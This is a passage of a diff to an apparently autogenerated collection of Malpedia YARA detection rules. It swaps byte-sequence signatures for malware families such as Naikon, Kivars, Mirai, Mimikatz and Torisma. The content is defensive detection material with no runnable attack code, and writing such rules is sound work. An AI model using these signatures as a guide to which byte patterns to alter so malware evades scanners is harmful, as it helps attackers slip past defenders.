0f57c0 } + $sequence_2 = { e9???????? 488b8528110000 48898520110000 4c8d0564cf2c00 ba80000000 e8???????? e9???????? } + $sequence_3 = { ba21000000 e8???????? 488d0ddb081100 4c8d056c091100 ba1f000000 e8???????? 488d0d73091100 } + $sequence_4 = { e8???????? 84c0 89fb 0f84f6000000 488b0d???????? 488b4138 4885c0 } + $sequence_5 = { e9???????? 4489f0 83e01f 410fb65701 83e23f 4180fedf 7664 } + $sequence_6 = { e9???????? 488d05f6d11400 488985a0000000 48c785a800000001000000 48c785b000000008000000 0f57c0 0f1185b8000000 } + $sequence_7 = { e8???????? ebde 498b07 4885c0 0f84c3010000 48c1e003 488d1440 } + $sequence_8 = { e8???????? 4c8bad30360000 4d8db518010000 41b828030000 4c89f1 4889da e8???????? } + $sequence_9 = { ebd0 49ffc3 49ffc9 4d8918 4d894808 488d05cdf81000 488945d8 } condition: - 7 of them and filesize < 397312 + 7 of them and filesize < 10986496 } -rule MALPEDIA_Win_Naikon_Auto : FILE +rule MALPEDIA_Win_Kivars_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1a371971-3c14-5c5c-93ec-3bfac331df93" + id = "97e9352f-68df-56fa-86e0-872f02c50448" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.naikon_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kivars" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kivars_auto.yar#L1-L164" license_url = "N/A" - logic_hash = "83032b5030b393c588ce5d94661092c796ec6d6ab26688f2a44eab055633535d" + logic_hash = "4d20cf7aacd2e8c5bf1e2fc02d32857c61e25ca91f0ca5072534ea8bbca535b9" score = 75 quality = 75 tags = "FILE" @@ -88457,34 +88476,40 @@ rule MALPEDIA_Win_Naikon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bf8 59 3bfb 59 741d 8b06 2bc7 } - $sequence_1 = { eb05 397df8 7415 8d45f0 } - $sequence_2 = { 8975c4 8945b0 8b450c 8945bc 03f0 8b45e4 8b4f6c } - $sequence_3 = { 53 50 e8???????? 6a04 8d85f8fdffff 68???????? 50 } - $sequence_4 = { 8b06 03c3 68???????? 50 e8???????? 68???????? e9???????? } - $sequence_5 = { 03c8 83c00c 8903 8d45d8 6a0c 50 ff750c } - $sequence_6 = { e8???????? ff75fc e8???????? 83c414 eb02 33db } - $sequence_7 = { 6a10 68???????? e9???????? 6a00 ff75fc 53 8d853cffffff } - $sequence_8 = { 8b00 52 53 53 8b4010 } - $sequence_9 = { 838e90000000ff 8dbe8c000000 85c0 740a 50 ff15???????? } + $sequence_0 = { 448bc0 488d542440 488b8c2478080000 e8???????? } + $sequence_1 = { e8???????? 4c8d442440 488d942464030000 488b8c24e0050000 e8???????? } + $sequence_2 = { c784247004000001000000 83bc247004000000 7548 c784247c05000000000000 488d8c2440010000 } + $sequence_3 = { e8???????? 90 488d4c2430 e8???????? 486344242c } + $sequence_4 = { 8bcb 66897304 e8???????? 83f8ff } + $sequence_5 = { 85c0 7424 50 8b4354 50 ffd7 } + $sequence_6 = { 49 80bc0c7b0100005c 7433 bf???????? 83c9ff } + $sequence_7 = { 33c0 8d7c2418 f3ab 8d4366 6689542418 6a00 6a00 } + $sequence_8 = { 488d8c24780b0000 e8???????? e9???????? 488d542430 488d8c2440010000 } + $sequence_9 = { 482bc8 488bc1 89442428 e9???????? 8b442440 ffc8 } + $sequence_10 = { e9???????? 488b842460100000 48ffc0 ba3a000000 } + $sequence_11 = { 51 89442420 897c2434 ff15???????? 8b4c241c } + $sequence_12 = { 0bf0 83e23f 83c703 83c504 8a443410 } + $sequence_13 = { 894c244e b900080000 668b5004 33c0 50 50 } + $sequence_14 = { 8d7a01 57 e8???????? 83c404 8bd8 } + $sequence_15 = { 8b842400010000 488bc8 ff15???????? 4889842480000000 4883bc248000000000 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 196608 } -rule MALPEDIA_Win_Ketrican_Auto : FILE +rule MALPEDIA_Win_Navrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "17c7dffb-a011-5900-a31d-1d30da8f8252" + id = "0af75ae7-7ace-560b-b2d7-c19b71f71863" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ketrican_auto.yar#L1-L230" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.navrat_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "bc80dac3ff7e066cc7e5cdc3a2c5cdfaac267fb28bf5e233f76a95cbb08049bc" + logic_hash = "ae93408812c109848736690d96b263c956c354ad0be060f7ff964bd9ca44b655" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -88496,47 +88521,34 @@ rule MALPEDIA_Win_Ketrican_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8965f0 33db 895dfc 33c0 } - $sequence_1 = { 5e c3 55 8bec 837d0800 7d0a } - $sequence_2 = { 8bc1 8945f0 834dfcff e8???????? } - $sequence_3 = { e8???????? 83c010 8906 c3 56 8bf1 57 } - $sequence_4 = { 5f 5e 8901 5b 5d c20800 680e000780 } - $sequence_5 = { 7417 6a0a 6a1f 68???????? } - $sequence_6 = { e8???????? cc 8b06 83e810 8b08 395008 } - $sequence_7 = { e8???????? 8b06 5d c20400 55 8bec 8b4508 } - $sequence_8 = { 8bc7 c1e810 83e03f e8???????? } - $sequence_9 = { 2bc6 8b35???????? 53 8bf8 57 } - $sequence_10 = { 8bec 8b4508 53 56 57 8d7001 33db } - $sequence_11 = { 56 8d4806 57 e8???????? 83c414 8bf0 } - $sequence_12 = { 83c604 8345f804 8b45f8 5f c60600 5e } - $sequence_13 = { 7706 8a4405bc c9 c3 } - $sequence_14 = { eb1f 68???????? e8???????? a3???????? } - $sequence_15 = { 8b8a8c2f0000 33c8 e8???????? b8???????? e9???????? } - $sequence_16 = { b8???????? e9???????? 8b542408 8d420c 8b8aecfdffff 33c8 e8???????? } - $sequence_17 = { e9???????? c705????????ac824100 c3 b9???????? e9???????? } - $sequence_18 = { e9???????? 8d45d0 e9???????? 8d4dd0 } - $sequence_19 = { e9???????? 8b4508 e9???????? 8b45ec 83e001 0f840c000000 8365ecfe } - $sequence_20 = { e9???????? 8d4dd0 e9???????? 8d4de0 e9???????? 8d4db8 e9???????? } - $sequence_21 = { e9???????? 8d4ddc e9???????? 8b45d4 83e001 } - $sequence_22 = { 8365d4fe 8d4da4 e9???????? c3 8d4dbc e9???????? } + $sequence_0 = { c1e610 0bf0 56 e8???????? } + $sequence_1 = { 7707 0fbec0 83e847 c3 8d48d0 80f909 } + $sequence_2 = { 1bf6 f7de 56 68???????? e8???????? } + $sequence_3 = { 8d48bf 80f919 7707 0fbec0 83e841 } + $sequence_4 = { 8d85a4feffff 50 6801000080 ff15???????? } + $sequence_5 = { 56 50 57 a3???????? ff15???????? 57 ff15???????? } + $sequence_6 = { 0fbec0 83e847 c3 8d48d0 80f909 7707 } + $sequence_7 = { 7503 884702 85f6 7407 8b7608 } + $sequence_8 = { fec8 2440 fec8 c3 } + $sequence_9 = { 884702 85f6 7407 8b7608 } condition: - 7 of them and filesize < 1449984 + 7 of them and filesize < 352256 } -rule MALPEDIA_Win_Divergent_Auto : FILE +rule MALPEDIA_Win_Rdat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0e7b7156-a784-541b-bc2e-90cf2a4a8de0" + id = "5a60ab37-0286-51c1-b368-c89969708302" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.divergent" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.divergent_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rdat_auto.yar#L1-L167" license_url = "N/A" - logic_hash = "59dd95ddff9efda2ca5f59f400b3973c8f58905843f6145e813b39dc6d7537d1" - score = 75 - quality = 75 + logic_hash = "a3c5411cc41035f8ac417b9a4fa9bb993690d8d8e560ea34758edef8eeee5bff" + score = 60 + quality = 45 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -88548,32 +88560,38 @@ rule MALPEDIA_Win_Divergent_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 85c0 781e 8d85f8fdffff 50 } - $sequence_1 = { 50 e8???????? 59 59 8b0b 8bd7 eb08 } - $sequence_2 = { 6aff 0f44c1 50 57 ff15???????? 8bf0 85f6 } - $sequence_3 = { 68???????? eb37 68???????? eb30 68???????? eb29 68???????? } - $sequence_4 = { f77dfc 43 8aca 81fb00010000 7cba 5f 5e } - $sequence_5 = { 786e ff75e0 ff15???????? 40 50 e8???????? 8bf0 } - $sequence_6 = { eb03 8b7dfc 8b36 85f6 0f8574ffffff } - $sequence_7 = { e8???????? ff730c 68???????? 56 e8???????? f20f104310 83c420 } - $sequence_8 = { 894dd4 894dd8 ff15???????? 33db 85c0 0f99c3 85db } - $sequence_9 = { d9e0 dec1 dd5df8 dd45f8 8be5 5d c3 } + $sequence_0 = { 4c8bc3 4c0f42c7 4d85c0 7504 } + $sequence_1 = { 48897020 498bf8 488bda 488bf1 b920000000 } + $sequence_2 = { 0f8d9e000000 488b4660 3b5668 7c1d } + $sequence_3 = { 0f8d83000000 488b82b0000000 443b82b8000000 7c25 442b82b8000000 48638ab8000000 488b7cc8f8 } + $sequence_4 = { 4533c9 488bfa 4c8bc1 85db 7e77 } + $sequence_5 = { 4889742410 57 4883ec20 488b02 488bf1 488bfa 488b18 } + $sequence_6 = { 0f85a8000000 83791804 0f859e000000 8b4920 } + $sequence_7 = { 6690 48ffc3 4038341a 75f7 4883791810 488b7910 7203 } + $sequence_8 = { 85c0 740b b9e8030000 ff15???????? } + $sequence_9 = { e8???????? 4898 4885c0 751e 483bfb 7313 } + $sequence_10 = { 4883ec40 48c740d8feffffff 48895808 48897020 } + $sequence_11 = { 0f8d89000000 496398b8000000 498b80b0000000 3bd3 } + $sequence_12 = { 488b7910 7203 488b09 483bfb 4c8bc3 4c0f42c7 } + $sequence_13 = { 486bd158 490314c0 eb07 488d15f6a30100 f6420820 7417 } + $sequence_14 = { 41b803000000 498b17 488d4d90 e8???????? 90 } + $sequence_15 = { 90 48c78424b80000000f000000 4c89b424b0000000 c68424a000000000 4983c9ff 4533c0 488d942470030000 } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 1573888 } -rule MALPEDIA_Win_Lodeinfo_Auto : FILE +rule MALPEDIA_Win_Taidoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2842da77-f970-52c3-8984-a714a7915a2f" + id = "ba437ab9-6c90-576a-83d2-5801ebb87e42" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lodeinfo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lodeinfo_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taidoor_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "c6db0fe0e940f8fa6652bc4d77f8fe0b30871c4844a8eaef730ac89cf20d8f74" + logic_hash = "7b8ed6f15654e580fefed39d2d4fea0473e69a1fd6a98339a075f2fbcf4be749" score = 75 quality = 75 tags = "FILE" @@ -88587,32 +88605,32 @@ rule MALPEDIA_Win_Lodeinfo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85db 742a 8b4c2420 8bc3 2bcb 81f900100000 } - $sequence_1 = { 7418 8b4114 3b4614 753f 8b4118 3b4618 7537 } - $sequence_2 = { ba???????? b9???????? e8???????? 50 e8???????? 8b5c2448 83c404 } - $sequence_3 = { 8b8d34ffffff 8bfe c1ef03 0fafcf } - $sequence_4 = { 83c404 46 83fe10 75e3 5f } - $sequence_5 = { 8955e4 81faff000000 7756 8b55f8 8b4308 8b3a 47 } - $sequence_6 = { b22d e8???????? 83eb01 75f4 b22b e8???????? 50 } - $sequence_7 = { 23c7 03d8 895de4 8b7d0c 8bcf } - $sequence_8 = { 0fb65204 c1e218 d3e2 0bd3 8b5de4 eb68 c7461000000000 } - $sequence_9 = { 83c404 83f810 722b 8b4c242c 8d5001 8bc1 81fa00100000 } + $sequence_0 = { 7433 ff750c 889c05f4fbffff 50 8d85f4fbffff 6a01 50 } + $sequence_1 = { 395d10 7e1b 56 8b450c } + $sequence_2 = { 897df0 50 56 e8???????? 8b3d???????? 83f86f 750c } + $sequence_3 = { 83a00401000000 b001 c9 c20800 8b8104010000 } + $sequence_4 = { 7e24 8a0406 fec0 3c3a 8845ec } + $sequence_5 = { 57 a0???????? c745fc01000000 8ac8 f6d9 1bc9 33db } + $sequence_6 = { b940420f00 f7f9 8d45e0 52 ff35???????? ff35???????? } + $sequence_7 = { e9???????? 8d4de0 e8???????? 8d8588f7ffff 50 ff35???????? ffd6 } + $sequence_8 = { ff75ec 8d4df0 e8???????? 8b450c 46 3b70f8 7cdc } + $sequence_9 = { 53 50 53 c7458844000000 } condition: - 7 of them and filesize < 712704 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Arefty_Auto : FILE +rule MALPEDIA_Win_Xsplus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "00e4c323-1086-5d09-b0dc-b3d3486d1cb0" + id = "5e1cc002-aafa-57a5-ac8f-12fca4d9f30a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.arefty_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xsplus_auto.yar#L1-L182" license_url = "N/A" - logic_hash = "d90c0aff72ecb08f18ac74bec7d59a72670c6515429c6fde34529cd8bd03f3d6" + logic_hash = "dcc5687f917495ecca687c74006688a8948f135325a7531bf3c5206fe8cc2299" score = 75 quality = 75 tags = "FILE" @@ -88626,32 +88644,39 @@ rule MALPEDIA_Win_Arefty_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 e8???????? 83c404 83fbff 7407 53 } - $sequence_1 = { 50 53 ff15???????? 680000a000 e8???????? 8bf8 } - $sequence_2 = { 50 8b07 68???????? 6a03 8d04b0 50 e8???????? } - $sequence_3 = { 8b07 68???????? 6a03 8d04b0 } - $sequence_4 = { ff15???????? 680000a000 e8???????? 8bf8 } - $sequence_5 = { ff15???????? 85ff 7409 57 e8???????? 83c404 83fbff } - $sequence_6 = { 8b07 68???????? 6a03 8d04b0 50 e8???????? 46 } - $sequence_7 = { 0fb6041e 50 8b07 68???????? 6a03 8d04b0 50 } - $sequence_8 = { 50 53 ff15???????? 680000a000 e8???????? } - $sequence_9 = { 0fb6041e 50 8b07 68???????? 6a03 } + $sequence_0 = { 8b761c 8b4608 8b7e20 8b36 66394f18 75f2 } + $sequence_1 = { 8bec 83ec18 8b4518 8945f0 8b4d14 } + $sequence_2 = { 8b55ec 8b01 3b4210 0f83af000000 6a01 8d4df8 51 } + $sequence_3 = { 8b5520 8955f8 8b451c 8945e8 8b4d10 83e102 85c9 } + $sequence_4 = { 83c201 8955f8 8b4514 8945f4 } + $sequence_5 = { aa a0???????? 8885c8fbffff b940000000 33c0 8dbdc9fbffff } + $sequence_6 = { 85c0 7524 a1???????? a3???????? a1???????? c705????????04264000 8935???????? } + $sequence_7 = { 8b8db4fdffff 81e9cd860100 898db4fdffff 83bdb4fdffff03 } + $sequence_8 = { 898da8feffff 8b95a8feffff 52 8b85ccfeffff 50 8d4de0 } + $sequence_9 = { 6804010000 8d85fcfeffff 50 6a00 ff15???????? 6804010000 8d8df0fcffff } + $sequence_10 = { 8985b8fdffff 81bdb8fdffff10010000 7723 81bdb8fdffff10010000 } + $sequence_11 = { 8b5508 89510c 8b45ec 8b4d0c 894808 8b55ec c7421000000000 } + $sequence_12 = { c74668e0a34000 6a0d e8???????? 59 8365fc00 ff7668 ff15???????? } + $sequence_13 = { 8d85d0fcffff 50 8d8dc8fbffff 51 e8???????? } + $sequence_14 = { 0355fc 0fb602 33c1 8b4d0c 034dfc 8801 } + $sequence_15 = { 8a8c181d010000 888808a74000 40 ebe6 } + $sequence_16 = { 50 ff15???????? b801000000 e9???????? 8d95c4fdffff } condition: - 7 of them and filesize < 237568 + 7 of them and filesize < 597872 } -rule MALPEDIA_Win_Greetingghoul_Auto : FILE +rule MALPEDIA_Win_Mirai_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ab352bb6-0e90-5ea4-81b4-0f0ddff67e2f" + id = "6b007e0f-a886-5f64-abd3-07f6ed5e9b2a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.greetingghoul" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.greetingghoul_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mirai_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "05f8eb95e67f4d995ab80e8300d436e31d93b18d0182fa8edc0fa057e1e63b5a" + logic_hash = "63027a45f46dffdd65577fa0ba420730c7c3c1478a8b6e1e30240b9df0cbea70" score = 75 quality = 75 tags = "FILE" @@ -88665,34 +88690,34 @@ rule MALPEDIA_Win_Greetingghoul_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8945f4 33c9 894df8 380f 7409 } - $sequence_1 = { 57 660fd603 33ff c6430800 c70600000000 } - $sequence_2 = { ff15???????? 85c0 7e06 03f0 2bf8 75ea } - $sequence_3 = { 750c 6a21 e8???????? 83c404 eb0d 8d4721 } - $sequence_4 = { c3 0fbec8 0fbec3 8b5dfc 2bc8 74e1 } - $sequence_5 = { 75eb 8b5dfc 83c8ff 3b5df8 5f 0f44d8 5e } - $sequence_6 = { 7e06 03d8 2bf0 75ea } - $sequence_7 = { 33f6 8a17 80fa20 740a } - $sequence_8 = { e8???????? 83c404 eb10 8d4701 03c3 50 } - $sequence_9 = { 5d c3 5f c7462800000000 8bc3 5e 5b } + $sequence_0 = { 8b00 8b4dfc 668b00 668981a00b0000 8b4508 8b00 40 } + $sequence_1 = { e8???????? 59 50 ff7508 8b4da0 e8???????? 0fb6c0 } + $sequence_2 = { c3 8d88dfa9ffff 83f95d 7709 0fb704458ebf6b00 c3 8d90dfa8ffff } + $sequence_3 = { 8bcf e8???????? 8b38 85ff 7447 8b4f08 51 } + $sequence_4 = { 8b9654040000 68b3fe654f 51 6a64 6a02 68???????? 52 } + $sequence_5 = { 8bce e8???????? 8bf8 3bfb 0f840cffffff 8bce e8???????? } + $sequence_6 = { c3 bac8c50000 663bc2 720a b9f0c50000 663bc1 7610 } + $sequence_7 = { ff15???????? 8945fc 837dfc00 7c33 ff75f8 ff15???????? 8945fc } + $sequence_8 = { 8b85d4fdffff 8a00 8885cffdffff ff85d4fdffff 80bdcffdffff00 75e3 8b85d4fdffff } + $sequence_9 = { 8b5e08 eb12 8b4e08 8b4604 6a00 52 51 } condition: - 7 of them and filesize < 696320 + 7 of them and filesize < 7086080 } -rule MALPEDIA_Win_Crypt0L0Cker_Auto : FILE +rule MALPEDIA_Win_Mimikatz_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "36a9a672-4992-57ea-891c-f29c4225a913" + id = "aca0d4e4-4192-5121-a9cd-9ca0e401c83a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crypt0l0cker_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mimikatz_auto.yar#L1-L209" license_url = "N/A" - logic_hash = "b3cddc973c5366c89b799135e4693f1cb6d7cd129335c29ced490dcf89284e44" + logic_hash = "3624438eda15e47ae98de9ad5feae5e5f01b75b23634de1325ad601ffd44065d" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -88704,32 +88729,44 @@ rule MALPEDIA_Win_Crypt0L0Cker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bcb e8???????? eb05 bf03000000 56 6a01 682f5b5412 } - $sequence_1 = { 53 e8???????? 59 59 85c0 0f84bbfeffff 8b45f8 } - $sequence_2 = { 8bcf e8???????? 8b4c2418 e8???????? 85f6 740f 56 } - $sequence_3 = { 0f8e85000000 53 ff75fc 8d45a8 50 8bd0 8d4dbc } - $sequence_4 = { 33c1 894ee8 8946ec 8d042e c1f802 8b4c8314 8bc1 } - $sequence_5 = { 68???????? bac8cfa6d0 8bce e8???????? 83c404 85c0 0f85b2000000 } - $sequence_6 = { e8???????? 83c40c 68fd010000 53 85f6 7506 } - $sequence_7 = { 3bf2 7301 47 03d8 895de8 3bd8 } - $sequence_8 = { 8be5 5d c3 55 8bec 83ec18 8bc2 } - $sequence_9 = { 0f8520080000 c74424143c000000 55 8d4900 837e3400 0f8505080000 833e01 } + $sequence_0 = { 83f8ff 750e ff15???????? c7002a000000 } + $sequence_1 = { f7f1 85d2 7406 2bca } + $sequence_2 = { 3c02 7207 e8???????? eb10 } + $sequence_3 = { eb84 668b442430 eb1d 834608fe } + $sequence_4 = { 83f812 72f1 33c0 c3 } + $sequence_5 = { e8???????? 83c8ff e9???????? 8d0412 89442438 } + $sequence_6 = { ff15???????? 85c0 0f94c3 85db 7508 } + $sequence_7 = { 6683f83f 7607 32c0 e9???????? } + $sequence_8 = { c3 81f998000000 7410 81f996000000 7408 } + $sequence_9 = { 66894108 33c0 39410c 740b } + $sequence_10 = { ff15???????? bd6f000000 3bc3 7405 } + $sequence_11 = { e8???????? 8bf0 85c0 7433 8b542478 d1ea 7420 } + $sequence_12 = { ff15???????? 3bc7 0f84d4010000 8b542430 } + $sequence_13 = { 2bc1 85c9 7403 83c008 } + $sequence_14 = { 83fb04 7cdc 8b5df8 8ad3 02d2 8ac7 c0e804 } + $sequence_15 = { 83e001 51 894614 c7461ce0164000 c74620f0164000 c7462410174000 } + $sequence_16 = { 897e14 897e70 c686c800000043 c6864b01000043 c7466878d14600 6a0d } + $sequence_17 = { c745fc00000000 ff15???????? 50 e8???????? 8bd8 } + $sequence_18 = { 03c2 c1f802 57 50 33db 33f6 e8???????? } + $sequence_19 = { 6a00 50 e8???????? 83c40c c7450800000000 } + $sequence_20 = { 83f805 7d10 668b4c4310 66890c45b8e14600 40 } + $sequence_21 = { c705????????cf2f4000 8935???????? a3???????? ff15???????? a3???????? 83f8ff } condition: - 7 of them and filesize < 917504 + 7 of them and filesize < 1642496 } -rule MALPEDIA_Win_Sysget_Auto : FILE +rule MALPEDIA_Win_Torisma_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d2f0576d-1441-54f4-9c7c-cf1f813e0f5e" + id = "c0490c82-c45a-54e7-aa2a-3188c569a1ea" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysget" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sysget_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.torisma_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "089522db1c40ede3965799cc3ef7759b59f64889024e8b66531171fe0f366f21" + logic_hash = "4aa02301b79ecba1924d78ea53a128f60820750cf7fd370e510af85a61be0b19" score = 75 quality = 75 tags = "FILE" @@ -88743,34 +88780,37 @@ rule MALPEDIA_Win_Sysget_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? bf???????? 83c424 c60000 } - $sequence_1 = { 668b08 83c002 6685c9 75f5 8dbdecf1ffff 2bc6 83ef02 } - $sequence_2 = { 8325????????00 5e c3 55 8bec 83ec34 a1???????? } - $sequence_3 = { 8985c4f9ffff 052c010000 50 e8???????? 83c40c 6800800000 } - $sequence_4 = { a3???????? 57 6a11 59 6a7c 8d4580 } - $sequence_5 = { 8d85fcf7ffff 50 e8???????? 59 33c0 } - $sequence_6 = { 8b85f8fbffff 8d8df4fbffff 51 50 8d85fcfbffff } - $sequence_7 = { 8b35???????? 57 6a10 58 50 6a01 } - $sequence_8 = { ff15???????? 8bc6 8bd6 668b08 83c002 663bcb } - $sequence_9 = { 8d853cffffff 50 ff35???????? ff15???????? a1???????? } + $sequence_0 = { e8???????? 3d83490000 7507 b883490000 } + $sequence_1 = { 7402 eb05 e9???????? b833280000 } + $sequence_2 = { e8???????? 3d514b0000 7504 33c0 } + $sequence_3 = { 8b3f c1ef02 83e701 c1e702 } + $sequence_4 = { 488b4c2440 e8???????? 488b442460 488b4018 48c70000000000 } + $sequence_5 = { 488b00 488b7820 33c0 b920000000 } + $sequence_6 = { 48894c2408 57 4883ec40 48c744242000000000 } + $sequence_7 = { ff2495c0d50010 8bc7 ba03000000 83e904 } + $sequence_8 = { 837c242000 7504 33c0 eb23 } + $sequence_9 = { 894dec 6a00 ff15???????? 8d55dc 52 } + $sequence_10 = { 51 8b5510 52 6a25 6a20 } + $sequence_11 = { 6a02 8b4da4 8b11 52 } + $sequence_12 = { c1e104 8b94242c010000 0bd1 8bca } condition: - 7 of them and filesize < 352256 + 7 of them and filesize < 322560 } -rule MALPEDIA_Win_Synccrypt_Auto : FILE +rule MALPEDIA_Win_Minibus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f82ea40e-0da6-5f75-a1e0-92f3a1e696de" + id = "9a553746-bfda-50b5-bcb8-f78a742705c0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.synccrypt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.synccrypt_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minibus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minibus_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "b9e46808771b143f589c002978b4db13a073c8de6a5f0396d2ab6b76d653e5e9" + logic_hash = "633d35aef0c45891bfd2d9690e003786b5685be07a68c0378a6a4c37c3387340" score = 75 - quality = 45 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -88782,32 +88822,32 @@ rule MALPEDIA_Win_Synccrypt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 8d43d0 6683f809 0f8654010000 8d439f 6683f805 0f8653010000 } - $sequence_1 = { c7465800000000 893c24 c744240440000000 e8???????? 8b06 8903 8b4604 } - $sequence_2 = { 891c24 c744240400000000 bb01000000 e8???????? c744240c32010000 c7442408???????? c74424041e000000 } - $sequence_3 = { c1fa02 29c2 8d0492 01c0 29c1 85d2 0fb68181e65800 } - $sequence_4 = { c7442408???????? c744240426000000 c704240a000000 e8???????? 833d????????ff 0f851cfeffff eb8d } - $sequence_5 = { c744240878000000 c74424048e000000 c7042426000000 e8???????? 83caff e9???????? c744245caab75900 } - $sequence_6 = { e8???????? 893424 89c3 e8???????? 29c3 7876 39fb } - $sequence_7 = { c7433c00000000 c7434000000000 891c24 ff5608 85c0 7411 83c424 } - $sequence_8 = { 896c2404 893c24 e8???????? 893c24 e8???????? 8b442424 83c43c } - $sequence_9 = { c7442404???????? 893424 e8???????? 85c0 0f8ff3feffff e9???????? c7442404???????? } + $sequence_0 = { 7cc3 eb25 85db 7421 83ceff 8bc6 } + $sequence_1 = { 0fb742fe 83f85c 7438 83f82f 7433 8b4de4 } + $sequence_2 